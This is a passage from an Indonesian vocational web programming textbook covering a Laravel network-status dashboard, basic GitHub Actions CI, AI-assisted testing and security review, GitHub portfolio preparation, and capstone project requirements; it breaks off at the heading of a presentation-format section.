BAB 10 — Integrasi dengan Kompetensi Jaringan: Dashboard Monitoring

Tujuan Pembelajaran

- Peserta didik mampu merancang aplikasi Laravel yang mengintegrasikan data dari perangkat jaringan.
- Peserta didik mampu membangun dashboard sederhana yang menampilkan status jaringan secara berkala.
- Peserta didik mampu menjelaskan nilai tambah kompetensi pemrograman web bagi seorang teknisi jaringan TJKT.

10.1 Titik Temu Dua Kompetensi Inti TJKT

Program Keahlian TJKT membekali peserta didik dengan dua rumpun kompetensi besar: jaringan komputer (Jaringan Dasar, Keamanan Jaringan, Perencanaan dan Pengalamatan Jaringan) dan pemrograman web (Pemrograman Web Dasar dan Lanjutan). Bab ini secara khusus dirancang sebagai titik temu keduanya — sebuah kompetensi pembeda yang jarang dimiliki lulusan Program Keahlian Rekayasa Perangkat Lunak (RPL) murni, yang umumnya tidak memiliki latar belakang jaringan sekuat siswa TJKT.

Di dunia kerja nyata, kemampuan membangun dashboard monitoring jaringan sederhana — menampilkan status perangkat, penggunaan bandwidth, atau daftar perangkat yang terhubung — menjadi nilai tambah signifikan bagi seorang teknisi jaringan, karena banyak organisasi kecil-menengah tidak mampu membeli lisensi perangkat lunak monitoring komersial dan sangat menghargai staf yang mampu membangun solusi serupa secara mandiri.

10.2 Merancang Skema Data Dashboard Monitoring

Sebagai studi kasus, dashboard ini akan menampilkan status sejumlah perangkat jaringan (dapat berupa data yang dimasukkan manual oleh admin, atau hasil ping otomatis) — merepresentasikan skenario nyata pemantauan perangkat pada topologi ITNSA.ID Corp yang telah dikenal dari buku Perencanaan dan Pengalamatan Jaringan.

```
<?php
// Migration untuk tabel perangkat_jaringan
Schema::create('perangkat_jaringan', function (Blueprint $table) {
    $table->id();
    $table->string('nama_perangkat');   // contoh: "Router CORE", "Switch TMT"
    $table->string('alamat_ip');
    $table->enum('jenis', ['router', 'switch', 'server', 'access_point']);
    $table->enum('status', ['online', 'offline', 'unknown'])->default('unknown');
    $table->timestamp('terakhir_dicek')->nullable();
    $table->timestamps();
});
```

10.3 Memeriksa Status Perangkat dengan PHP

```
<?php
// app/Services/CekStatusPerangkat.php
namespace App\Services;

class CekStatusPerangkat
{
    public static function ping($alamatIp)
    {
        // Menjalankan perintah ping sistem operasi dari dalam PHP
        $hasil = shell_exec("ping -c 1 -W 1 " . escapeshellarg($alamatIp) . "
2>&1");
        return str_contains($hasil, '1 received') || str_contains($hasil, '1 packets
received');
    }
}
```

Fungsi `shell_exec()` menjalankan perintah command line langsung dari PHP — dalam kasus ini, perintah `ping` yang telah dikenal sejak buku Jaringan Dasar sebagai alat pengujian konektivitas jaringan paling dasar. Fungsi `escapeshellarg()` **wajib** digunakan untuk membungkus input yang diteruskan ke shell, mencegah serangan command injection yang serupa prinsipnya dengan SQL Injection yang telah dipelajari pada buku Keamanan Jaringan — tanpa fungsi ini, alamat IP yang berisi karakter berbahaya dapat dimanfaatkan penyerang untuk menjalankan perintah sistem yang tidak diinginkan.

10.4 Job Terjadwal untuk Pemeriksaan Berkala

```
<?php
// app/Console/Commands/PeriksaPerangkatJaringan.php
namespace App\Console\Commands;

use App\Models\PerangkatJaringan;
use App\Services\CekStatusPerangkat;
use Illuminate\Console\Command;

class PeriksaPerangkatJaringan extends Command
{
    protected $signature = 'jaringan:periksa';
    protected $description = 'Memeriksa status seluruh perangkat jaringan
terdaftar';

    public function handle()
    {
        $perangkatSemua = PerangkatJaringan::all();

        foreach ($perangkatSemua as $perangkat) {
            $online = CekStatusPerangkat::ping($perangkat->alamat_ip);
            $perangkat->update([
                'status' => $online ? 'online' : 'offline',
                'terakhir_dicek' => now(),
            ]);
        }
```

```
        $this->info('Pemeriksaan selesai: ' . $perangkatSemua->count() . ' perangkat
diperiksa.');
    }
}

<?php
// routes/console.php - menjadwalkan perintah berjalan otomatis setiap 5 menit
use Illuminate\Support\Facades\Schedule;

Schedule::command('jaringan:periksa')->everyFiveMinutes();

# Menambahkan cron job tunggal pada Ubuntu Server (Bab 9) agar scheduler Laravel
berjalan otomatis
* * * * * cd /var/www/sistem-data-siswa && php artisan schedule:run >> /dev/null
2>&1
```

Perintah Artisan kustom `jaringan:periksa` mengingatkan kembali pada perintah bawaan seperti `php artisan migrate` yang telah sering digunakan sejak Bab 3 buku Kelas XI — kini peserta didik membuat perintah kustom milik sendiri. Konsep penjadwalan (scheduling) ini serupa dengan cron job pada Linux yang mungkin telah disinggung pada mata pelajaran Administrasi Sistem Jaringan, kini diintegrasikan langsung ke dalam kerangka kerja Laravel.

10.5 Menampilkan Dashboard Status Jaringan

```
{{-- resources/views/dashboard-jaringan.blade.php --}}
@extends('layouts.app')
@section('content')
<h1>Dashboard Status Jaringan</h1>
<div class="row">
    @foreach ($daftarPerangkat as $perangkat)
    <div class="col-md-3">
        <div class="card mb-3 {{ $perangkat->status === 'online' ? 'border-success'
: 'border-danger' }}">
            <div class="card-body">
                <h5>{{ $perangkat->nama_perangkat }}</h5>
                <p>{{ $perangkat->alamat_ip }}</p>
                <span class="badge bg-{{ $perangkat->status === 'online' ? 'success'
: 'danger' }}">
                    {{ strtoupper($perangkat->status) }}
                </span>
                <p class="text-muted small">Terakhir dicek: {{ $perangkat-
>terakhir_dicek?->diffForHumans() }}</p>
            </div>
        </div>
    </div>
    @endforeach
</div>
@endsection
```

Dashboard ini menggabungkan hampir seluruh kompetensi yang telah dipelajari sepanjang tiga buku Pemrograman Web: struktur MVC, Eloquent, Blade dan Bootstrap (kelas XI), serta Job terjadwal (bab ini) — sekaligus membuktikan secara nyata bagaimana kompetensi jaringan dan pemrograman web pada Program Keahlian TJKT saling melengkapi, bukan dua bidang yang terpisah.

10.6 Mencatat Riwayat Perubahan Status dengan Logging

Selain menampilkan status terkini, aplikasi monitoring yang matang perlu mencatat riwayat perubahan status dari waktu ke waktu — misalnya kapan persis sebuah perangkat menjadi offline — agar dapat dianalisis polanya di kemudian hari, mengingat kembali pentingnya log yang telah dipelajari secara mendalam pada Bab 9 buku Keamanan Jaringan (Forensik Digital Dasar).

```
<?php
// Menambahkan pencatatan log setiap kali status perangkat berubah, di dalam
PeriksaPerangkatJaringan
use Illuminate\Support\Facades\Log;

foreach ($perangkatSemua as $perangkat) {
    $statusSebelumnya = $perangkat->status;
    $online = CekStatusPerangkat::ping($perangkat->alamat_ip);
    $statusBaru = $online ? 'online' : 'offline';

    if ($statusSebelumnya !== $statusBaru) {
        Log::warning("Status perangkat berubah: {$perangkat->nama_perangkat} dari
{$statusSebelumnya} menjadi {$statusBaru}");
    }

    $perangkat->update(['status' => $statusBaru, 'terakhir_dicek' => now()]);
}
```

Log yang tersimpan pada `storage/logs/laravel.log` dapat ditelusuri menggunakan perintah `tail -f` yang telah dikenal sejak buku Kelas X dan Keamanan Jaringan, memungkinkan administrator memantau riwayat gangguan jaringan langsung dari server, melengkapi tampilan dashboard real-time dengan jejak historis yang berguna untuk analisis pola gangguan jangka panjang.

Aktivitas Pembelajaran

63. Peserta didik membangun tabel dan Model perangkat_jaringan, menambahkan beberapa data perangkat dengan alamat IP milik komputer/router yang tersedia di laboratorium sekolah.
64. Peserta didik membuat Artisan Command kustom untuk memeriksa status perangkat menggunakan ping, menjalankannya secara manual terlebih dahulu (php artisan jaringan:periksa) sebelum menjadwalkannya otomatis.
65. Peserta didik membangun halaman dashboard yang menampilkan status seluruh perangkat menggunakan card Bootstrap dengan warna berbeda untuk status online/offline, kemudian mempresentasikan hasilnya sebagai contoh integrasi kompetensi jaringan dan web.

Rangkuman

Dashboard monitoring jaringan berbasis Laravel menjadi contoh nyata integrasi antara kompetensi jaringan dan pemrograman web yang menjadi ciri khas Program Keahlian TJKT. Pemeriksaan status perangkat menggunakan ping dari PHP memerlukan kehati-hatian keamanan melalui escapeshellarg(), dijadwalkan berjalan otomatis menggunakan Laravel Scheduler dan cron job Ubuntu Server, kemudian ditampilkan melalui dashboard Bootstrap yang mengintegrasikan seluruh kompetensi MVC yang telah

dipelajari. Kompetensi ini menjadi nilai tambah signifikan yang membedakan lulusan TJKT dari lulusan Rekayasa Perangkat Lunak murni.

Soal Latihan / Refleksi

66. Jelaskan mengapa kombinasi kompetensi jaringan dan pemrograman web menjadi nilai tambah bagi lulusan TJKT.
67. Mengapa fungsi escapeshellarg() wajib digunakan saat meneruskan input ke shell_exec()?
68. Jelaskan alur kerja dari Job terjadwal (Laravel Scheduler) hingga status perangkat diperbarui secara otomatis setiap 5 menit.
69. Rancang satu ide pengembangan tambahan untuk dashboard monitoring jaringan ini, jelaskan data apa yang akan ditambahkan dan bagaimana cara memperolehnya.

BAB 11 — Pengenalan CI/CD Sangat Dasar

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan konsep Continuous Integration dan Continuous Deployment secara sederhana.
- Peserta didik mampu membuat workflow GitHub Actions dasar untuk menjalankan test secara otomatis.
- Peserta didik mampu menjelaskan manfaat otomatisasi ini bagi tim pengembangan.

11.1 Dari Manual Menuju Otomatis: Evolusi Alur Kerja Deployment

Sepanjang Bab 9, deployment dilakukan secara manual — masuk ke server melalui SSH, menjalankan git pull, composer install, dan migrate satu per satu. Proses ini rawan kesalahan (misalnya lupa satu langkah) dan memakan waktu setiap kali ada perubahan kode. **Continuous Integration (CI)** adalah praktik menjalankan test secara otomatis setiap kali kode baru diunggah ke repositori, sementara **Continuous Deployment (CD)** melangkah lebih jauh dengan secara otomatis menerbitkan kode ke server produksi apabila seluruh test berhasil dilalui.

Bab ini memperkenalkan CI/CD pada tingkat paling dasar — cukup untuk memahami konsepnya dan mempraktikkan otomatisasi test sederhana, bukan otomatisasi deployment produksi penuh yang memerlukan konfigurasi lebih kompleks dan pertimbangan keamanan tambahan di luar cakupan buku ini.

11.2 GitHub Actions: Platform CI/CD Terintegrasi dengan GitHub

GitHub Actions memungkinkan menjalankan serangkaian perintah otomatis (disebut workflow) setiap kali peristiwa tertentu terjadi pada repositori GitHub — misalnya setiap kali kode baru di-push, sebagaimana kebiasaan yang telah dipelajari pada Bab 12 buku Kelas XI.

```
# .github/workflows/laravel-tests.yml
name: Laravel Tests

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout kode
        uses: actions/checkout@v4

      - name: Instal PHP
```

```
        uses: shivammathur/setup-php@v2
        with:
          php-version: '8.2'

      - name: Instal dependency Composer
        run: composer install --prefer-dist --no-progress

      - name: Salin file environment
        run: cp .env.example .env

      - name: Generate application key
        run: php artisan key:generate

      - name: Jalankan test
        run: php artisan test
```

Setiap kali peserta didik menjalankan `git push` ke branch main (kebiasaan yang telah dipelajari sejak Bab 12 buku Kelas XI), GitHub secara otomatis menyiapkan lingkungan Ubuntu bersih, menginstal seluruh dependency, dan menjalankan seluruh Feature Test yang telah ditulis pada Bab 8 — seluruhnya tanpa campur tangan manual.

11.3 Membaca Hasil Workflow

Status	Arti	Tindak Lanjut
✅ Success (hijau)	Seluruh test berhasil dilalui	Kode aman digabungkan (merge) ke branch utama
❌ Failure (merah)	Satu atau lebih test gagal	Periksa log workflow untuk detail kegagalan, perbaiki kode sebelum merge
🟡 In progress (kuning)	Workflow sedang berjalan	Tunggu hingga selesai sebelum mengambil keputusan

Tab 'Actions' pada repositori GitHub menampilkan riwayat seluruh workflow yang pernah berjalan, lengkap dengan log detail setiap langkah — apabila status Failure muncul, peserta didik dapat membuka log tersebut untuk melihat pesan error persis yang menyebabkan test gagal, informasi yang sangat berharga untuk debugging, khususnya ketika bekerja dalam tim di mana anggota lain mungkin tidak menyadari perubahan mereka merusak fitur yang sudah ada.

11.4 Manfaat CI/CD bagi Tim Pengembangan

- **Deteksi dini kesalahan** — bug ditemukan segera setelah kode di-push, bukan setelah aplikasi diterbitkan dan digunakan pengguna sungguhan.
- **Kepercayaan tim** — status hijau pada workflow memberi keyakinan bahwa kode baru tidak merusak fitur yang sudah ada, memudahkan kolaborasi menggunakan branch (Bab 12 buku Kelas XI).

- **Konsistensi lingkungan** — test dijalankan pada lingkungan yang selalu identik (bukan bergantung pada konfigurasi komputer masing-masing anggota tim), menghindari masalah klasik 'kode ini berjalan normal di komputer saya'.
- **Dokumentasi hidup** — riwayat workflow menjadi catatan objektif kualitas kode dari waktu ke waktu, dapat ditunjukkan sebagai bukti profesionalisme pada portofolio (dibahas Bab 13).

Aktivitas Pembelajaran

70. Peserta didik membuat file workflow GitHub Actions sesuai contoh pada bab ini untuk proyek mereka, kemudian melakukan push kecil (misalnya perubahan komentar) untuk memicu workflow berjalan pertama kali.
71. Peserta didik dengan sengaja membuat salah satu test yang telah dibuat pada Bab 8 menjadi gagal (misalnya mengubah assertion), melakukan push, dan mengamati status Failure pada tab Actions beserta detail lognya.
72. Peserta didik memperbaiki kesalahan tersebut, melakukan push ulang, dan memverifikasi status kembali menjadi Success, mendokumentasikan pengalaman ini sebagai bagian dari laporan praktik.

Rangkuman

Continuous Integration menjalankan test secara otomatis setiap kali kode baru diunggah ke repositori, diimplementasikan menggunakan GitHub Actions dengan file workflow YAML yang mendefinisikan langkah instalasi dan pengujian. Status workflow (Success/Failure) memberikan umpan balik cepat mengenai kualitas kode, mendukung kolaborasi tim yang lebih percaya diri saat menggabungkan branch. CI/CD dasar ini melengkapi kompetensi testing (Bab 8), Git (Bab 12 Kelas XI), dan deployment (Bab 9) menjadi satu alur kerja pengembangan yang mendekati standar profesional industri.

Soal Latihan / Refleksi

73. Jelaskan perbedaan antara Continuous Integration dan Continuous Deployment.
74. Jelaskan alur kerja GitHub Actions dari saat git push dilakukan hingga hasil test dapat dilihat oleh developer.
75. Sebutkan tiga manfaat penerapan CI bagi tim pengembangan yang bekerja secara kolaboratif.
76. Mengapa status Failure pada workflow CI sebaiknya ditangani sebelum kode digabungkan ke branch utama?

BAB 12 — Vibecoding Tingkat Lanjut: AI dalam Siklus Pengembangan Profesional

Tujuan Pembelajaran

- Peserta didik mampu menggunakan AI untuk membantu menulis test case secara efektif.
- Peserta didik mampu menggunakan AI untuk melakukan security review dasar terhadap kode yang telah ditulis.
- Peserta didik mampu menerapkan etika penggunaan AI dalam konteks kerja tim profesional.

12.1 Evolusi Vibecoding: Dari Alat Bantu Menuju Bagian dari Siklus Kerja

Buku Pemrograman Web Dasar kelas X memperkenalkan vibecoding sebagai konsep. Buku Pemrograman Web Lanjutan kelas XI mempraktikkannya sebagai alat percepatan boilerplate code dan debugging. Bab ini menempatkan vibecoding pada posisi terakhir dan paling matang: sebagai **bagian integral dari siklus pengembangan perangkat lunak profesional** — digunakan untuk menulis test, meninjau keamanan kode, mendokumentasikan API, dan mendukung praktik CI/CD yang telah dipelajari pada bab-bab sebelumnya, sekaligus menjadi bahan refleksi etis saat membangun portofolio kerja pada bab berikutnya.

12.2 Menggunakan AI untuk Membantu Menulis Test Case

Menulis test case yang komprehensif — mencakup skenario normal maupun skenario tepi (edge case) yang sering terlewat — adalah pekerjaan yang dapat dipercepat signifikan dengan bantuan AI, khususnya dalam mengidentifikasi skenario pengujian yang mungkin belum terpikirkan oleh peserta didik.

Prompt Efektif	Nilai Tambah
"Saya memiliki endpoint POST /api/siswa dengan validasi nama (required, max 100), kelas_id (required, harus ada di tabel kelas), dan nilai (required, integer, 0-100). Buatkan daftar skenario test case yang perlu diuji, termasuk edge case"	AI dapat menyarankan skenario tepi yang mudah terlewat, seperti nilai persis 0/100, kelas_id yang tidak ada, atau nama dengan panjang tepat 100 karakter
"Tinjau Feature Test SiswaTest.php ini [tempelkan kode], apakah ada skenario penting yang belum saya uji?"	AI membantu mengidentifikasi celah cakupan (coverage) pada test yang sudah ditulis

Sebagaimana ditekankan sejak Bab 13 buku Kelas XI, saran skenario test dari AI tetap wajib diverifikasi — peserta didik perlu memastikan setiap skenario yang disarankan benar-benar relevan dengan aturan bisnis aplikasi yang sesungguhnya, dan bukan sekadar skenario generik yang terdengar masuk akal namun tidak sesuai konteks proyek.

12.3 AI untuk Security Review

Mengingat kembali kerentanan XSS, CSRF, dan mass assignment yang telah dipelajari pada Bab 5, AI dapat dimanfaatkan sebagai lapisan tinjauan tambahan (bukan pengganti) sebelum kode diterbitkan ke produksi, membantu mengidentifikasi pola kode yang berpotensi rentan.

```
// Contoh prompt security review:
// "Tinjau Controller berikut untuk potensi kerentanan keamanan (XSS, mass
assignment,
// SQL injection, otorisasi yang kurang tepat): [tempelkan kode Controller]"

// Contoh temuan yang mungkin disarankan AI:
// - "Method store() menggunakan $request->all() alih-alih $request->validated(),
//    berisiko mass assignment jika Model tidak membatasi $fillable dengan ketat"
// - "Method destroy() tidak memeriksa otorisasi (authorize()) sebelum menghapus
data,
//    pengguna mana pun yang login berpotensi menghapus data milik pengguna lain"
```

Temuan semacam ini perlu diperlakukan sebagai **titik awal investigasi**, bukan kebenaran mutlak — peserta didik tetap wajib memverifikasi apakah temuan tersebut benar-benar berlaku pada konteks aplikasi mereka (misalnya, apakah memang seharusnya ada pembatasan otorisasi pada method tersebut) sebelum melakukan perubahan, sejalan dengan sikap kritis yang telah ditekankan sejak Bab 13 buku Kelas XI.

12.4 AI untuk Dokumentasi API Otomatis

Mendokumentasikan endpoint API — parameter yang diterima, format response, kode status yang mungkin dikembalikan — adalah pekerjaan penting namun repetitif yang dapat dipercepat menggunakan AI, khususnya untuk menghasilkan draf awal dokumentasi berdasarkan kode Controller API yang telah ditulis pada Bab 3.

```
// Contoh prompt dokumentasi:
// "Buatkan dokumentasi endpoint API dalam format Markdown untuk SiswaController
// berikut, mencakup method HTTP, URL, parameter, contoh request, dan contoh
response:
// [tempelkan kode SiswaController]"
```

Dokumentasi yang dihasilkan AI tetap perlu ditinjau untuk memastikan keakuratannya — misalnya memastikan contoh response yang dihasilkan benar-benar mencerminkan struktur JSON yang sesungguhnya dikembalikan oleh API Resource pada Bab 3, bukan sekadar tebakan AI berdasarkan pola umum yang mungkin tidak sesuai dengan implementasi spesifik proyek.

12.5 Etika Vibecoding dalam Kerja Tim Profesional

Ketika bekerja dalam tim profesional di dunia kerja nyata, penggunaan AI perlu mempertimbangkan beberapa hal yang belum tentu relevan saat belajar secara individu: kebijakan perusahaan mengenai penggunaan AI (beberapa organisasi membatasi penggunaan AI publik untuk kode yang mengandung informasi sensitif atau rahasia dagang), kewajiban memahami sepenuhnya kode yang di-commit atas nama sendiri meskipun dibantu AI (karena tanggung jawab tetap berada pada programmer yang melakukan

commit, bukan pada AI), serta pentingnya transparansi kepada rekan tim mengenai bagian mana yang dibantu AI, khususnya untuk kode yang kompleks atau berkaitan dengan keamanan.

Prinsip ini melanjutkan pembahasan etika akademik yang telah ditekankan sejak Bab 13 buku Kelas XI dan buku Kelas X — kejujuran dan transparansi mengenai penggunaan AI bukan sekadar aturan sekolah, melainkan praktik profesional yang akan terus relevan sepanjang karier di bidang pengembangan perangkat lunak.

Aktivitas Pembelajaran

77. Peserta didik meminta AI menyarankan skenario test case tambahan untuk salah satu endpoint API yang telah dibangun pada Bab 3, mengevaluasi mana saja saran yang relevan dan mengimplementasikannya sebagai Feature Test baru.
78. Peserta didik meminta AI melakukan security review terhadap salah satu Controller pada proyek mereka, mendokumentasikan temuan yang valid dan melakukan perbaikan yang diperlukan.
79. Peserta didik meminta AI membuatkan draf dokumentasi API untuk seluruh endpoint pada proyek mereka, meninjau dan memperbaiki draf tersebut agar benar-benar akurat, kemudian menyimpannya sebagai bagian dari dokumentasi proyek (relevan untuk README pada Bab 13).

Rangkuman

Vibecoding pada tingkat profesional memanfaatkan AI untuk menyarankan skenario test case yang komprehensif, melakukan security review awal terhadap kerentanan seperti mass assignment dan otorisasi yang kurang tepat, serta mempercepat penulisan dokumentasi API — seluruhnya tetap memerlukan verifikasi kritis dari programmer. Dalam konteks kerja tim profesional, etika vibecoding mencakup kepatuhan terhadap kebijakan organisasi, tanggung jawab penuh atas kode yang di-commit, dan transparansi kepada rekan tim, melengkapi seluruh kompetensi teknis yang telah dipelajari sepanjang tiga buku Pemrograman Web menjadi bekal menghadapi portofolio dan dunia kerja pada bab berikutnya.

Soal Latihan / Refleksi

80. Jelaskan bagaimana AI dapat membantu mengidentifikasi edge case yang mungkin terlewat saat menulis test case secara manual.
81. Mengapa temuan security review dari AI perlu diperlakukan sebagai titik awal investigasi, bukan kebenaran mutlak?
82. Jelaskan mengapa tanggung jawab atas kode tetap berada pada programmer meskipun sebagian ditulis dengan bantuan AI.
83. Sebutkan tiga pertimbangan etika penggunaan AI yang relevan khusus dalam konteks kerja tim profesional, berbeda dari konteks belajar individu.

BAB 13 — Portofolio dan Kesiapan Kerja

Tujuan Pembelajaran

- Peserta didik mampu menyusun portofolio GitHub yang profesional dan informatif.
- Peserta didik mampu mendokumentasikan proyek dengan baik untuk keperluan pencarian kerja/magang.
- Peserta didik mampu mempersiapkan diri menghadapi simulasi wawancara teknis dasar.

13.1 Dari Proyek Sekolah Menuju Portofolio Profesional

Sepanjang tiga buku Pemrograman Web (Dasar kelas X, Lanjutan kelas XI, dan buku ini), peserta didik telah membangun serangkaian proyek nyata — landing page dengan form login (kelas X), aplikasi CRUD Laravel dengan autentikasi (kelas XI), dan aplikasi lengkap dengan API, keamanan, testing, dan deployment (kelas XII). Proyek-proyek ini, apabila didokumentasikan dan disajikan dengan baik, menjadi portofolio yang jauh lebih meyakinkan bagi calon pemberi kerja dibanding sekadar transkrip nilai, karena menunjukkan bukti nyata kemampuan bekerja, bukan hanya klaim di atas kertas.

13.2 Menyusun Profil GitHub yang Profesional

Elemen Profil GitHub	Praktik yang Disarankan
Foto profil	Foto profesional atau avatar yang rapi, bukan foto acak atau kosong
Bio singkat	Sebutkan status (mis. 'Siswa TJKT | Web Developer') dan minat teknis utama
Pinned repositories	Sematkan 3–6 proyek terbaik (mis. proyek Laravel dari Bab 14) agar langsung terlihat pengunjung profil
README profil (opsional)	Membuat repositori khusus bernama sama dengan username untuk menampilkan README di halaman profil utama
Konsistensi commit	Riwayat commit yang teratur (bukan sekadar satu commit besar) mencerminkan kebiasaan kerja yang baik, sesuai Bab 12 buku Kelas XI

13.3 Dokumentasi Proyek yang Meyakinkan

README yang baik (mengingat kembali template pada Lampiran buku Kelas XI) perlu diperkaya dengan elemen tambahan yang menunjukkan kematangan proyek, khususnya untuk proyek capstone yang akan dibangun pada Bab 14.

- **Screenshot atau demo animasi (GIF)** — memungkinkan pengunjung memahami aplikasi tanpa perlu menjalankannya sendiri, sangat meningkatkan daya tarik pertama pada repositori.
- **Badge status CI** — menampilkan status workflow GitHub Actions (Bab 11) langsung pada README, menjadi bukti visual bahwa proyek diuji secara otomatis.

- **Daftar fitur dengan penjelasan singkat** — bukan sekadar daftar teknologi, melainkan menjelaskan masalah nyata apa yang diselesaikan setiap fitur.
- **Tautan demo langsung (live demo)** — apabila proyek telah di-deploy (Bab 9), sertakan tautan agar pengunjung dapat mencobanya langsung tanpa instalasi.

```
<!-- Contoh badge status CI pada README.md -->
![Laravel Tests](https://github.com/username/nama-proyek/actions/workflows/laravel-tests.yml/badge.svg)
```

13.4 Menyusun Narasi Proyek untuk Wawancara

Selain dokumentasi tertulis, peserta didik perlu mempersiapkan narasi lisan yang jelas mengenai setiap proyek, mengikuti kerangka STAR (Situation, Task, Action, Result) yang umum digunakan dalam wawancara kerja untuk menceritakan pengalaman secara terstruktur.

Elemen STAR	Contoh Penerapan pada Proyek Capstone
Situation (Situasi)	"Sekolah saya belum memiliki sistem digital untuk mengelola peminjaman alat laboratorium, semuanya masih dicatat manual di buku."
Task (Tugas)	"Saya merancang dan membangun aplikasi web untuk mendigitalkan proses ini sebagai proyek akhir semester."
Action (Aksi)	"Saya menggunakan Laravel dengan pola MVC, membangun REST API agar dapat diakses aplikasi lain di masa depan, menerapkan autentikasi berjenjang antara admin dan pengguna biasa, serta menulis automated test untuk memastikan fitur utama tetap berfungsi."
Result (Hasil)	"Aplikasi berhasil di-deploy ke server dan diuji oleh beberapa guru, mengurangi waktu pencatatan peminjaman dari beberapa menit menjadi kurang dari satu menit per transaksi."

13.5 Simulasi Pertanyaan Wawancara Teknis Dasar

Berikut contoh pertanyaan yang lazim diajukan pada wawancara posisi junior web developer, yang seluruhnya dapat dijawab berdasarkan kompetensi yang telah dipelajari sepanjang tiga buku Pemrograman Web.

84. "Jelaskan apa itu MVC dan bagaimana penerapannya pada proyek yang pernah Anda buat." — jawab merujuk pola Model-View-Controller pada Bab 1 buku Kelas XI.
85. "Bagaimana Anda mencegah SQL Injection pada aplikasi Anda?" — jawab merujuk Eloquent ORM (Bab 6 Kelas XI) dan prepared statement yang telah dipelajari sejak buku Kelas X.
86. "Apa perbedaan autentikasi dan otorisasi?" — jawab merujuk Bab 9 buku Kelas XI (Breeze) dan Bab 2 buku ini (middleware, Policy).
87. "Ceritakan pengalaman Anda melakukan debugging masalah yang sulit." — gunakan kerangka STAR dengan contoh nyata dari proses pengembangan proyek.
88. "Bagaimana Anda memastikan kode Anda tetap berfungsi setelah menambahkan fitur baru?" — jawab merujuk automated testing (Bab 8) dan CI/CD (Bab 11).

Aktivitas Pembelajaran

89. Peserta didik menyempurnakan profil GitHub mereka mengikuti panduan pada bab ini, menyematkan minimal tiga proyek terbaik dari seluruh rangkaian buku Pemrograman Web.
90. Peserta didik menyempurnakan README proyek Laravel utama mereka dengan menambahkan screenshot, badge status CI, dan daftar fitur yang jelas.
91. Peserta didik menyusun narasi STAR untuk proyek utama mereka dan melakukan simulasi wawancara singkat secara berpasangan dengan teman sekelas, saling memberikan umpan balik.

Rangkuman

Portofolio profesional dibangun dari profil GitHub yang rapi, dokumentasi README yang meyakinkan (dilengkapi screenshot, badge CI, dan daftar fitur), serta narasi proyek yang terstruktur menggunakan kerangka STAR untuk keperluan wawancara. Simulasi pertanyaan wawancara teknis dasar menunjukkan bahwa seluruh kompetensi yang dipelajari sepanjang tiga buku Pemrograman Web — MVC, keamanan, autentikasi, testing, CI/CD — menjadi bekal langsung untuk menjawab pertanyaan yang lazim diajukan pada proses rekrutmen posisi junior web developer.

Soal Latihan / Refleksi

92. Sebutkan tiga elemen yang membuat sebuah README proyek terlihat lebih profesional dan meyakinkan.
93. Jelaskan kerangka STAR dan bagaimana penerapannya saat menceritakan sebuah proyek dalam wawancara kerja.
94. Bagaimana kamu akan menjawab pertanyaan 'Bagaimana Anda mencegah SQL Injection?' berdasarkan proyek yang telah kamu bangun?
95. Mengapa riwayat commit yang konsisten dan bertahap pada GitHub dianggap mencerminkan kebiasaan kerja yang baik di mata calon pemberi kerja?

BAB 14 — Proyek Akhir/Capstone

Bab ini menjadi puncak dari keseluruhan rangkaian tiga buku Pemrograman Web (Dasar kelas X, Lanjutan kelas XI, dan Lanjutan kelas XII ini), mengintegrasikan seluruh kompetensi yang telah dipelajari menjadi satu proyek capstone yang komprehensif, siap dipresentasikan sebagai bukti kesiapan kerja.

Tujuan Pembelajaran

- Peserta didik mampu merancang dan membangun aplikasi Laravel produksi yang lengkap dan aman.
- Peserta didik mampu menerapkan REST API, testing, CI, dan deployment secara terintegrasi.
- Peserta didik mampu mempresentasikan proyek capstone menggunakan portofolio dan narasi yang telah disusun.

14.1 Ketentuan Proyek Capstone

Peserta didik melanjutkan dan menyempurnakan proyek yang telah dibangun sejak proyek akhir semester kelas XI (Bab 14 buku sebelumnya), menerapkan seluruh kompetensi tambahan yang dipelajari sepanjang buku ini. Bagi yang mengerjakan proyek baru, tema tetap harus merepresentasikan kebutuhan nyata dengan kompleksitas yang sepadan dengan jenjang kelas XII.

Komponen Wajib	Bab Rujukan
Seluruh komponen wajib CRUD, validasi, autentikasi, relasi dari proyek kelas XI	Buku Kelas XI Bab 7–10
Role-based access control (minimal dua peran: admin dan pengguna biasa)	Bab 2
REST API untuk minimal satu entitas utama, dengan API Resource	Bab 3
Minimal satu halaman yang mengonsumsi API menggunakan Fetch (tanpa reload)	Bab 4
Bebas dari kerentanan dasar sesuai checklist audit keamanan	Bab 5
Fitur unggah berkas pada minimal satu entitas	Bab 6
Minimal satu Feature Test yang menguji fitur utama	Bab 8
Workflow GitHub Actions yang menjalankan test otomatis	Bab 11

Komponen Wajib	Bab Rujukan
Ter-deploy pada server Ubuntu (fisik/virtual) dan dapat diakses melalui jaringan	Bab 9
README lengkap dengan dokumentasi penggunaan AI (vibecoding)	Bab 12, 13

14.2 Tahapan Pengerjaan yang Disarankan

96. Tinjau ulang proyek kelas XI, identifikasi entitas mana yang akan diperkaya dengan API, role-based access, dan file upload.
97. Terapkan role-based access control terlebih dahulu (Bab 2) sebelum menambahkan fitur baru lain, karena fitur ini memengaruhi struktur otorisasi seluruh aplikasi.
98. Bangun REST API untuk entitas utama (Bab 3), lindungi dengan Sanctum, uji menggunakan Postman sebelum mengintegrasikannya ke frontend.
99. Bangun satu halaman yang mengonsumsi API tersebut menggunakan Fetch (Bab 4), misalnya fitur pencarian real-time atau dashboard ringkas.
100. Lakukan audit keamanan menggunakan checklist Bab 5, perbaiki temuan yang ditemukan.
101. Tambahkan fitur unggah berkas (Bab 6) pada entitas yang relevan (foto profil, dokumen pendukung, dsb.).
102. Tulis minimal tiga Feature Test (Bab 8) untuk fitur-fitur penting, konfigurasikan GitHub Actions (Bab 11) agar test berjalan otomatis pada setiap push.
103. Deploy aplikasi ke server Ubuntu (Bab 9), pastikan dapat diakses melalui jaringan sekolah atau internet.
104. Sempurnakan README dan profil GitHub mengikuti panduan Bab 13, siapkan narasi STAR untuk presentasi.

14.3 Format Presentasi

